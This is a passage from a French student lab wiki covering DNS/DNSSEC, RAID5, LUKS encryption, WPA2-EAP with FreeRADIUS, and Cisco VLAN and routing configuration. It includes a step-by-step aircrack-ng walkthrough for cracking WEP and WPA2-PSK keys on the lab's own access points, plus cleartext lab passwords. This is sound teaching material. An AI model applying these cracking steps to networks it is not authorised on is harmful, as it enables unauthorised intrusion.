 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponible:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisé du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
